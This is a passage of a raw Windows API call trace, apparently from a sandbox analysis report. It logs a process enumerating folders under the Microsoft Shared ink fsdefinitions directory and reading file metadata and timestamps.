lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.035] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.035] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.035] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.035] CloseHandle (hObject=0x178) returned 1 [0071.035] AreFileApisANSI () returned 1 [0071.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0071.035] AreFileApisANSI () returned 1 [0071.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0071.035] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.036] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.036] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.036] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.036] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.036] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.036] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.036] CloseHandle (hObject=0x178) returned 1 [0071.036] AreFileApisANSI () returned 1 [0071.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0071.037] AreFileApisANSI () returned 1 [0071.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0071.037] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.037] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.037] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.037] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.037] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.037] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.037] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.037] CloseHandle (hObject=0x178) returned 1 [0071.037] AreFileApisANSI () returned 1 [0071.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0071.038] AreFileApisANSI () returned 1 [0071.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0071.038] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.038] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.038] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.038] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.038] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.038] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.038] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.038] CloseHandle (hObject=0x178) returned 1 [0071.038] AreFileApisANSI () returned 1 [0071.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0071.039] AreFileApisANSI () returned 1 [0071.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0071.039] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.039] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.039] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.039] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.039] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.039] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.039] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.039] CloseHandle (hObject=0x178) returned 1 [0071.040] AreFileApisANSI () returned 1 [0071.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0071.040] AreFileApisANSI () returned 1 [0071.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0071.040] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0071.040] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0071.040] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0071.040] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0071.040] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0071.040] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0071.040] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0071.040] CloseHandle (hObject=0x174) returned 1 [0071.040] AreFileApisANSI () returned 1 [0071.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 103 [0071.041] GetFileType (hFile=0x174) returned 0x1 [0071.042] AreFileApisANSI () returned 1 [0071.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0071.043] AreFileApisANSI () returned 1 [0071.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 103 [0071.045] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7b46140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7b46140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.045] AreFileApisANSI () returned 1 [0071.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0071.046] AreFileApisANSI () returned 1 [0071.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0071.046] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.046] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.046] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.046] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.046] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.046] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.046] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.046] CloseHandle (hObject=0x178) returned 1 [0071.046] AreFileApisANSI () returned 1 [0071.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0071.048] AreFileApisANSI () returned 1 [0071.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0071.048] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0071.048] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0071.048] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0071.048] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0071.048] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0071.048] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0071.049] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0071.049] CloseHandle (hObject=0x174) returned 1 [0071.049] AreFileApisANSI () returned 1 [0071.049] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 103 [0071.050] GetFileType (hFile=0x174) returned 0x1 [0071.051] AreFileApisANSI () returned 1 [0071.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0071.052] AreFileApisANSI () returned 1 [0071.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 103 [0071.054] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7b6c2a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7b6c2a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.054] AreFileApisANSI () returned 1 [0071.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0071.055] AreFileApisANSI () returned 1 [0071.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0071.055] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.055] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.055] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.055] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.055] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.055] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.055] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.056] CloseHandle (hObject=0x178) returned 1 [0071.056] AreFileApisANSI () returned 1 [0071.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0071.056] AreFileApisANSI () returned 1 [0071.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0071.056] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0071.056] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0071.056] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0071.056] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0071.056] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0071.056] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0071.056] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0071.056] CloseHandle (hObject=0x174) returned 1 [0071.056] AreFileApisANSI () returned 1 [0071.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 105 [0071.057] GetFileType (hFile=0x174) returned 0x1 [0071.058] AreFileApisANSI () returned 1 [0071.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 106 [0071.060] AreFileApisANSI () returned 1 [0071.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 105 [0071.061] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7b6c2a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7b6c2a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.061] AreFileApisANSI () returned 1 [0071.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aa5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0071.061] AreFileApisANSI () returned 1 [0071.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0071.061] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.061] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.062] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.062] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.062] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.062] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.062] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.062] CloseHandle (hObject=0x178) returned 1 [0071.062] AreFileApisANSI () returned 1 [0071.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0071.063] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0071.063] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0071.063] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0071.063] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0071.063] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0071.063] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0071.063] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0071.063] CloseHandle (hObject=0x174) returned 1 [0071.065] GetFileType (hFile=0x174) returned 0x1 [0071.071] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7b92400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7b92400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.072] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.072] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.072] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.072] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.072] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.072] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.072] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0071.072] CloseHandle (hObject=0x178) returned 1 [0071.072] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0071.072] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0071.072] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0071.072] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0071.072] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0071.073] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0071.073] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0071.073] CloseHandle (hObject=0x174) returned 1 [0071.073] GetFileType (hFile=0x174) returned 0x1 [0071.078] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7b92400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7b92400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0071.078] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0071.078] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0071.078] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0071.078] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0071.078] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0071.078] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0071.078] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 